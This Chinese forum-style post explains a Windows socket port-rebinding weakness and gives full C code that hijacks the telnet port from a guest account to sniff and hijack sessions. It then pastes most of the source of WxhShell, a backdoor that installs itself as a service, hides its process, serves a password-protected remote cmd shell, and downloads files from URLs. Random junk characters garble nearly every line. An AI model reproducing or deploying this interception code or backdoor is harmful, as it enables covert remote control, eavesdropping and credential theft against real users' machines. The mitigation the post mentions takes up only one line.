在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
E6|!G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Dp!3uR']p '`$a l7D saddr.sin_family = AF_INET;
?#ue:O1 +lmMBjDa saddr.sin_addr.s_addr = htonl(INADDR_ANY);
He="S3XON '$*d:1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
1BUdl=o>S {ecmOxKP} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
0{g @j{Lbz I^sWf3'db 这意味着什么?意味着可以进行如下的攻击:
YG$2ySkDhE Z W`
Ur> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
VQV7W EL$"MT}p 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
6*%3O=* U.~,Bwb 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QPjmIO :Jwc'y-] 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Gjq:-kX\ @gc lks/M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
oomB/"Z N#'+p5|> 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|&+g ,A _w (qT_4b~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
pe=Ou0 Yf
>SV # #include
Bt4
X #include
i"2[OM\j7 #include
fBS`b[x #include
R?!xO-^t DWORD WINAPI ClientThread(LPVOID lpParam);
FLdO int main()
{ve86 POY {
L8n1p5gx3 WORD wVersionRequested;
9H:5XR DWORD ret;
ZeD; WSADATA wsaData;
4mSL*1j BOOL val;
vUl5%r2O4 SOCKADDR_IN saddr;
J8I_tF6 SOCKADDR_IN scaddr;
|4//%Ll/ int err;
pisjfNT`o SOCKET s;
JViglO1\ SOCKET sc;
t]LCe\# int caddsize;
|j53'>N[ HANDLE mt;
-Qx:-,.a DWORD tid;
B
MU@J wVersionRequested = MAKEWORD( 2, 2 );
0:UK)t)3I err = WSAStartup( wVersionRequested, &wsaData );
=0 W`tx if ( err != 0 ) {
?n)r1m printf("error!WSAStartup failed!\n");
rBLkowDP* return -1;
6=o@X }
g{wIdV saddr.sin_family = AF_INET;
(v(!l=3 gv$6\1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
V_jVVy30Ji IQ[?ej3W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}LQ*vD-Jj saddr.sin_port = htons(23);
3)v6N_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X||Z>w}v {
]X~;?>#:p printf("error!socket failed!\n");
E15"AO return -1;
%\PnsnJ9Q }
.QOQqU*2I val = TRUE;
:"? boA#L //SO_REUSEADDR选项就是可以实现端口重绑定的
GgkljF@{} if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
e&Z}struE {
_KiaeVE printf("error!setsockopt failed!\n");
P
lJl#-BO return -1;
fo~8W`H& }
<e"O`*ZJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
yO.3~H)c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
+;SQ}[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
o<P@:}K :Z(?Ct&8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
|5)~WoV/G {
Srj%6rgsB ret=GetLastError();
k^AI7H printf("error!bind failed!\n");
iK{q_f\" return -1;
2f\;#- }
}T%;G /W listen(s,2);
w#[Ul9=?6 while(1)
1BQTvUAA {
|gEA.}
pY caddsize = sizeof(scaddr);
R_J=x //接受连接请求
3U=q3{%1 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
[Z6]$$!#2 if(sc!=INVALID_SOCKET)
@!6eRp>Z {
c 2j?<F1 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
L(Q v78F if(mt==NULL)
r4caIV {
|`T3H5X> printf("Thread Creat Failed!\n");
.CFaBwj break;
p#~'xq }
m&o}qzC'y }
X&DuX %x0 CloseHandle(mt);
|8}f }
,}F2l|x_ closesocket(s);
*FDz20S WSACleanup();
):?ype> return 0;
p.i$[6M }
p3O%|)yV DWORD WINAPI ClientThread(LPVOID lpParam)
o>#<c
@ {
zMb7a_W SOCKET ss = (SOCKET)lpParam;
t$=FcKUV}f SOCKET sc;
J411bIxD+q unsigned char buf[4096];
awuUaE SOCKADDR_IN saddr;
Zy@35;r long num;
>R3~P~@30 DWORD val;
7t`<`BY^ DWORD ret;
x-+[gNc
6 //如果是隐藏端口应用的话,可以在此处加一些判断
vFY/o,b \ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ERQa,h/ saddr.sin_family = AF_INET;
D4'"GaCv saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
E(tdL,m' saddr.sin_port = htons(23);
g(<02t!OT= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m3XL;1y:a {
I$0`U;Xd printf("error!socket failed!\n");
VHVU*6_w return -1;
8yax.N
j }
zNRoFz. val = 100;
[YP8z~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
A$ %5l {
_m;cX!+~_ ret = GetLastError();
evsH>hE^ return -1;
C- ]H+p }
q]:+0~cz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n"Ec %n {
l)D18 ret = GetLastError();
Y{Kpopst return -1;
o1"U'y-9V }
;&e5.K+.Z if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VuFMjY {
LfyycC2E printf("error!socket connect failed!\n");
!;lA+O-t closesocket(sc);
>4 GhI65 closesocket(ss);
7>xxur& return -1;
N'Va&"&73> }
,^O**k9F while(1)
`m<l8'g {
Cca(
oV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
N J:]jd //如果是嗅探内容的话,可以再此处进行内容分析和记录
k#`.!yI, //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
O]w &uim num = recv(ss,buf,4096,0);
W5}.WFu if(num>0)
jEklf0Z send(sc,buf,num,0);
hbR;zV|US else if(num==0)
NI=t)[\F break;
K]zBPfx num = recv(sc,buf,4096,0);
FB@c
+*1 if(num>0)
gqNd@tYI send(ss,buf,num,0);
V'pNo&O= else if(num==0)
iKV;>gF,)v break;
.{HU1/! }
-"Lia!Q]M closesocket(ss);
n?@3R#4D3 closesocket(sc);
*r p@`W5 return 0 ;
wQb")3dw }
2tCep g]iWD;61 /fA:Fnv ==========================================================
t d q;D T*\'G6e 下边附上一个代码,,WXhSHELL
TWl':} kP%'{ ==========================================================
X1:| UBpYR>
<\ #include "stdafx.h"
Rg<y8~|'} A)040n #include <stdio.h>
GhLgV #include <string.h>
C2AP #include <windows.h>
;z#D%#Ztq #include <winsock2.h>
Um;ReJ8z #include <winsvc.h>
sq*R)cZ #include <urlmon.h>
U/yYQZ\) 0KnlomuH2 #pragma comment (lib, "Ws2_32.lib")
ckP&N:tC #pragma comment (lib, "urlmon.lib")
ko
im@B 1 dz&J\|E# #define MAX_USER 100 // 最大客户端连接数
/-E>5 w U #define BUF_SOCK 200 // sock buffer
tbAN{pX #define KEY_BUFF 255 // 输入 buffer
~zRUJ2hD! PmvTCfsg #define REBOOT 0 // 重启
ho#]?Z# #define SHUTDOWN 1 // 关机
B^U5=L[:p )<DL' #define DEF_PORT 5000 // 监听端口
J[L$8y: Mb3,! #define REG_LEN 16 // 注册表键长度
+%eMm.( #define SVC_LEN 80 // NT服务名长度
#g4X`AHB HCb7`(@ // 从dll定义API
dSsMa3X[n typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
zi2hi9A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
#E5#{bra typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Vj0`*nC)/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$b\Gl=YX^ XIJ>\ RF // wxhshell配置信息
-:pLlN-f struct WSCFG {
+
R])u5c' int ws_port; // 监听端口
4xT(Uj char ws_passstr[REG_LEN]; // 口令
PQ@(p% int ws_autoins; // 安装标记, 1=yes 0=no
dQ`ch~HVUW char ws_regname[REG_LEN]; // 注册表键名
Il'+^u_ < char ws_svcname[REG_LEN]; // 服务名
/,2Em> char ws_svcdisp[SVC_LEN]; // 服务显示名
$&n!j'C: char ws_svcdesc[SVC_LEN]; // 服务描述信息
|6`yE]3-( char ws_passmsg[SVC_LEN]; // 密码输入提示信息
SWO$#X / int ws_downexe; // 下载执行标记, 1=yes 0=no
&kXf)xc<~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
RJnRbaC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0%k`*8 ..'^1IOA };
;.!AX|v ff-9NvW4v // default Wxhshell configuration
Rla1,{1 struct WSCFG wscfg={DEF_PORT,
0Vh|UJ'&7 "xuhuanlingzhe",
JmWN/mx 1,
lj@c"Yrk "Wxhshell",
-78
t0-lM "Wxhshell",
`P)atQ "WxhShell Service",
B Gh%3"q "Wrsky Windows CmdShell Service",
_(<[!c!@0 "Please Input Your Password: ",
xlqRW" 1,
u` `FD "
http://www.wrsky.com/wxhshell.exe",
"^zxq5u "Wxhshell.exe"
Z)|*mJ };
P
et0yH _4owxYSDke // 消息定义模块
<2diO= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
}c|Xr^ char *msg_ws_prompt="\n\r? for help\n\r#>";
w80g)4V+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
0>Z/3i&?< char *msg_ws_ext="\n\rExit.";
)]n:y M char *msg_ws_end="\n\rQuit.";
h/V0}|b char *msg_ws_boot="\n\rReboot...";
~${.sD\ char *msg_ws_poff="\n\rShutdown...";
KxGK`'E'r char *msg_ws_down="\n\rSave to ";
P`Anf_ f`RcfYt char *msg_ws_err="\n\rErr!";
_yJd@ char *msg_ws_ok="\n\rOK!";
@/`b:sv&* <{9E.6G`n char ExeFile[MAX_PATH];
t{Q9Kv int nUser = 0;
#";(&|7 HANDLE handles[MAX_USER];
FX+Ra@I! int OsIsNt;
C \H%4p1r fE|([` ! SERVICE_STATUS serviceStatus;
fHb0pp\[. SERVICE_STATUS_HANDLE hServiceStatusHandle;
Y=x]'3}^ 7zgU>$i // 函数声明
$a(wM1S4 int Install(void);
`+\+ int Uninstall(void);
+<"sC+2 int DownloadFile(char *sURL, SOCKET wsh);
9-Qub+0o int Boot(int flag);
IpB0~`7YI void HideProc(void);
|mc!v*O int GetOsVer(void);
x>!#8?-h int Wxhshell(SOCKET wsl);
Av_1cvR: void TalkWithClient(void *cs);
PLw;9^<
int CmdShell(SOCKET sock);
p(v+j_ak int StartFromService(void);
6S2D\Bt,_ int StartWxhshell(LPSTR lpCmdLine);
*'QD!Tc @Ej{sC!0T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
i.)kV B VOID WINAPI NTServiceHandler( DWORD fdwControl );
Jf|J":S *9`@ // 数据结构和表定义
]{0
2! SERVICE_TABLE_ENTRY DispatchTable[] =
F9]GEBLr {
{O]Cj~} {wscfg.ws_svcname, NTServiceMain},
DKF`uRvGN: {NULL, NULL}
<lB^>Hfu };
U5Q `r7 7$\;G82_ // 自我安装
wX<)Fj' int Install(void)
hJkIFyQ{j {
IyL2{5 char svExeFile[MAX_PATH];
w6qx HKEY key;
rKg5?. strcpy(svExeFile,ExeFile);
<Ktx*(D k,0JW=Vh>| // 如果是win9x系统,修改注册表设为自启动
R}#?A%,* if(!OsIsNt) {
^^{K[sLB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=xw) [ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
54-sb~] RegCloseKey(key);
&+xNR2"; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p4fU/ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
K!).QB'
RegCloseKey(key);
(VI4kRj return 0;
* A@~!@XE4 }
/Pxt f~$ }
';^VdR]fk }
dArg'Dc4 else {
v<ASkkh> DKPX_:: // 如果是NT以上系统,安装为系统服务
,*+F*:o(m SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[as\>@o if (schSCManager!=0)
]KA|};>ow {
%S.
_3`A SC_HANDLE schService = CreateService
<2fZYt vt (
q$yTG!q* schSCManager,
qdx(wGG wscfg.ws_svcname,
w+fsw@dK& wscfg.ws_svcdisp,
N41)?-7F SERVICE_ALL_ACCESS,
VA&_dU]* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
jav7V"$ SERVICE_AUTO_START,
]t=m SERVICE_ERROR_NORMAL,
K pDK Ii svExeFile,
MD1n+FgTu NULL,
L09YA NULL,
5*/~) wN\U NULL,
>OgA3)X NULL,
Nz'fM daX, NULL
pi*cO );
pV9$Vg?-H if (schService!=0)
?xWO>#/ {
': 87.8$ CloseServiceHandle(schService);
o+*YX!]#L CloseServiceHandle(schSCManager);
1aP3oXLL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
g=0`^APql strcat(svExeFile,wscfg.ws_svcname);
AU -, if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
j2#RO>`,I RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Q(
U+o- RegCloseKey(key);
}xk85*V return 0;
|C301ENZ }
=2F;'T\6 }
zVKbM3(^ CloseServiceHandle(schSCManager);
*P7 H=Yf& }
Iq]+O Q }
-y|>#`T/ S1p4.qJ return 1;
[_Fj2nb* }
0Dv r:]R dY5 m) ? // 自我卸载
uZL,+Ce| int Uninstall(void)
E#[_"^n {
w[YiH $ HKEY key;
iH<:wLY&J 3k(A&]~v if(!OsIsNt) {
3q:U0&F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Q'5]E{1<'n RegDeleteValue(key,wscfg.ws_regname);
&b'IYoe RegCloseKey(key);
J~Uq'1? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
97l<9^$ RegDeleteValue(key,wscfg.ws_regname);
:
E[\1 RegCloseKey(key);
BCMQ^hP}t return 0;
BpBMFEiP }
~_6~Fi }
^SM>bJ1Z_ }
f^Sl(^f else {
H(Pzo+k*
`fMdO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s;e%*4 if (schSCManager!=0)
td JA? {
`k2YH? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@rI+.X if (schService!=0)
"A\h+q- {
4zKmoYt if(DeleteService(schService)!=0) {
K~Nx;{{d CloseServiceHandle(schService);
6l]jmj)/ CloseServiceHandle(schSCManager);
l7 Pn5c return 0;
2T 3tKX }
"'U+T:S CloseServiceHandle(schService);
N!!=9'fGF }
cZC%W!pT CloseServiceHandle(schSCManager);
5QN~^ }
3w!8PPl }
zW#P
~zS ZZq]I return 1;
Yw=7(} }
c||EXFS}O n x4:n@J // 从指定url下载文件
{6Y |Z> int DownloadFile(char *sURL, SOCKET wsh)
V3D`pt\[x {
u+EZ"p;o HRESULT hr;
xnP@h char seps[]= "/";
3D 4-Wo4 char *token;
(%~^Kmfb0 char *file;
$ /`X7a{ char myURL[MAX_PATH];
3fGL(5|_ char myFILE[MAX_PATH];
4N6JKS rDI}X?JmX strcpy(myURL,sURL);
Lmsc~~ token=strtok(myURL,seps);
8]h~jNku while(token!=NULL)
5tx!LGOK {
":@\kw file=token;
~'1gX`o: token=strtok(NULL,seps);
&A}hx\_T }
B']-4X{SGa fk&>2[^& GetCurrentDirectory(MAX_PATH,myFILE);
rj}O2~W~4 strcat(myFILE, "\\");
y'L7o
V?L9 strcat(myFILE, file);
FQTAkkA_! send(wsh,myFILE,strlen(myFILE),0);
q"(b}3 send(wsh,"...",3,0);
)OHGg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
#{_iNr a9 if(hr==S_OK)
:'`y}' return 0;
iq^F?$gFk else
}TQa<;Q return 1;
|P0!dt7sQ n
f.H0i; }
,>+B>lbJ* *'w?j)}A9g // 系统电源模块
Zzn
N"Si, int Boot(int flag)
wxJu=#!M {
~ Y/:]&wF HANDLE hToken;
OEw#;l4 C TOKEN_PRIVILEGES tkp;
{ty)2 .jUM';
l if(OsIsNt) {
rjK]zD9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)E|{.K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
H2lQ(Y+H tkp.PrivilegeCount = 1;
;
DXsPpZC tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^'\JI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
"UX/yLc3( if(flag==REBOOT) {
@yM$Et5 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@U+#@6 return 0;
/|0xOiib }
Z_U4Yy'NNw else {
+Tt.5>N if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
zfrNM9C return 0;
}1
,\*)5 }
E/V_gci }
@AtJO>w else {
(^oN, 7 if(flag==REBOOT) {
EDT9O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/q,vQ[R/ return 0;
D%}rQ,* }
t!-\:8n
else {
{oSdVRI if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
6l'J!4*qY return 0;
5Q;Q }
''dS{nQs }
=MU(!` ]ur?i{S, return 1;
{p.^E5& }
%nRgHN> 9>ajhFyOhX // win9x进程隐藏模块
ayI<-s- void HideProc(void)
%oB0@&!mS {
ZIN1y;dJ ,eGguNA9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
GKc? if ( hKernel != NULL )
en>n\;U {
> ^=n|% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~R&rQJJeJ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
qj9[mBkP" FreeLibrary(hKernel);
U&i#cF }
Z`_x|cU?J Lk)I;; return;
C$p012D1 }
L;lu)|b" i?ZVVE=r // 获取操作系统版本
!2Gua1z!CJ int GetOsVer(void)
D]o=I1O? {
6f2?)jOW^N OSVERSIONINFO winfo;
_\=x
A6! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
)DmydyQ' GetVersionEx(&winfo);
",l6-<s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
!Q WNHL return 1;
7t+d+sQ-l else
_Pno9| return 0;
svx7 }
AR!v%Z49i +`bnQn]x+ // 客户端句柄模块
v%$l( int Wxhshell(SOCKET wsl)
ht*N[Pi4; {
,m[XeI SOCKET wsh;
,hH c
-%- struct sockaddr_in client;
;*'I& DWORD myID;
e^em^1H(
% X::@2{-@y while(nUser<MAX_USER)
ny{S&f {
WMHYOJR int nSize=sizeof(client);
Nyt*mbd5
{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
k-H6c if(wsh==INVALID_SOCKET) return 1;
[;yKbw!C MJh.)kd$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_CPj]m{ if(handles[nUser]==0)
[O<F `u"a closesocket(wsh);
oP`:NCj\9 else
z
.Z nUser++;
Mq#m;v$E }
@ R[K8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`*cqT 1.M<u)1GU return 0;
m62Zta }
w[F})u]E v-N4&9)%9 // 关闭 socket
=/}Rnl+c void CloseIt(SOCKET wsh)
!uit {
JNY ?]|= closesocket(wsh);
tmOy"mq67 nUser--;
"n]x%. * ExitThread(0);
l9C `:g }
gyq6LRb
CuK>1_Dq // 客户端请求句柄
KTt+}-vP^ void TalkWithClient(void *cs)
!zt>& t {
i6P}MtC1 g4=C]\1 SOCKET wsh=(SOCKET)cs;
IqV" 4 char pwd[SVC_LEN];
Ux1j +}y char cmd[KEY_BUFF];
ysZ(*K
n(? char chr[1];
q_6lD~~q^ int i,j;
sZ~03QvkT |||m5(`S while (nUser < MAX_USER) {
^mjU3q{; )sW!s3>S> if(wscfg.ws_passstr) {
pfu"vo(t_ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
OwEV$Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%f'=9pit //ZeroMemory(pwd,KEY_BUFF);
gxmo 1 i=0;
_p0gXb1m` while(i<SVC_LEN) {
!@])Ut@tN 0ETT@/)]z // 设置超时
w&f>VB~,1 fd_set FdRead;
x]yIe&*(' struct timeval TimeOut;
* #E_KW1RV FD_ZERO(&FdRead);
[Rub FD_SET(wsh,&FdRead);
V,rR*a&p TimeOut.tv_sec=8;
u:']jw=f TimeOut.tv_usec=0;
n_4.`vs int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Uj\t04 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
M*bsA/Z Y[vP]7- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2+I5VPf pwd
=chr[0]; [u;(4sa}
if(chr[0]==0xd || chr[0]==0xa) { H>D sAHS
pwd=0; Y@:l!4DI
break; cLp_\\
} 5=8v\q?)c
i++; t\LE\[XM>
} 50dN~(;p
IP$eJL[&D"
// 如果是非法用户,关闭 socket 5L<A7^j
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xp|4 WM
} ob8}v*s
r>! @Z2%s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (1q(6!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ftcLP
q+4dHS)x
while(1) { 5x|$q kI
p#Po?
ZeroMemory(cmd,KEY_BUFF); ZbVn"he
)X," NJG
// 自动支持客户端 telnet标准 Ym"^Ds}
j=0; I
L7kpH+y
while(j<KEY_BUFF) { QHja4/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WF*j^ %5
cmd[j]=chr[0]; ?$ov9U_
if(chr[0]==0xa || chr[0]==0xd) { Dq%}({+
cmd[j]=0; )7!,_r
break; %QrO Es
} ^!C
j++; x^c,cV+*
} c%O97J.5b
}"nm3\Df
// 下载文件 !SE
if(strstr(cmd,"http://")) { `n-/~7
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?7TmAll<.s
if(DownloadFile(cmd,wsh)) cAGM|%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }f_@@#KB?
else RhmkpboucC
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o3\^9-jmp
} 6iXV
else { ?./fVoA]V
`KLr!<i()
switch(cmd[0]) { -hfkF+=U'
Cq7 uy
// 帮助 \2[tM/+Bs
case '?': { -dF (_ %C
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B5+Q%)52
break; rN7JJHV
} *2N0r2t&
// 安装 "M+I$*]
case 'i': { \v+c.
if(Install()) )(yaX
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Q?8OwhJ
else tS\Db'C7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A-.Wd7^~*
break; J E5qR2VA
} Z_dL@\#|
// 卸载 K:qc
"Q=C
case 'r': { vol (%wB
if(Uninstall()) 8kSyT'kC%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]8OmYU%6V
else h+!R)q8M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wj0_X;L
break;
LjEMs\P\
} +:jv )4^O
// 显示 wxhshell 所在路径 6Y6t.j0vN.
case 'p': { w;(=wN\
char svExeFile[MAX_PATH]; q&3(yhx
strcpy(svExeFile,"\n\r"); _*g.U=u
strcat(svExeFile,ExeFile); Z8/.I
send(wsh,svExeFile,strlen(svExeFile),0); ^V9|uHOJoq
break; AB0}6g^O
} ~.J*_0~Ze
// 重启 6vTnm4
case 'b': { gaNe\
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _,v?rFLE
if(Boot(REBOOT)) +t*I{X(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); uit.r^8l
else { 3?`TEw~'
closesocket(wsh); ~*\ *8U@7
ExitThread(0); "Xwsu8~
} G(shZ=fq
break; ^x/D8M
} lTN^c?
// 关机 m+7%]$
case 'd': { !B#lZjW#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !2&)6SL/
if(Boot(SHUTDOWN)) Khv}q.)F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )h>dD
else { ]oz >/\!
closesocket(wsh); 0|K<$e6IH
ExitThread(0); fuCt9Kjo<
} E@)'Z6r1
break; P.k>6T<U>
} Uc,..
// 获取shell U|.r -$|5P
case 's': { EBk-qd
a}
CmdShell(wsh); y=+OC1k\8
closesocket(wsh); w8N1-D42
ExitThread(0); Y`$\o
break; LfU? 1:Du
} xe(7q1
// 退出 f-H"|9
case 'x': { b KIL@AI
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %qE"A6j
CloseIt(wsh); FL^t}vA
break; </5
} ?dv-`)S&
// 离开 ~Al3Dv9x
case 'q': { :yi} CM4
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q3$DX,8?
closesocket(wsh); lfd-!(tXD
WSACleanup(); v$JW7CKA
exit(1); v+trHdSBYE
break; t;PG
} 8'qlg|{!~
} j"pyK@v2B
} 5! +{JTXa
.V}bfd[k$
// 提示信息 =;Co0Q`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XhWo~zh"
} BG.8 q4[
} c3c3T`B
r58<A'#
return; 3 m-g-
} {%P2.:
pXBh^
// shell模块句柄 agruS'c g
int CmdShell(SOCKET sock) `(P71T
{ x;} 25A|
STARTUPINFO si; *<[\|L:#]Z
ZeroMemory(&si,sizeof(si)); UQYHR+
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *V+,X
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xC0y2+)|
PROCESS_INFORMATION ProcessInfo; R- ,L"Vv
char cmdline[]="cmd"; ,z`D}<3
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <}c7E3Uc
return 0; vpdPW %B
} :f_oN3F p
0yMHU[):~
// 自身启动模式 m MWhUr
int StartFromService(void) 7Lj:m.0O^
{ n;vZY
typedef struct Bf+~&I#E
{ 6CGk*s
DWORD ExitStatus; 3fZoF`<a
DWORD PebBaseAddress; g3Hi5[-H
DWORD AffinityMask; W >}T$a}\
DWORD BasePriority; g`.H)36
ULONG UniqueProcessId; ~ oq.y n/1
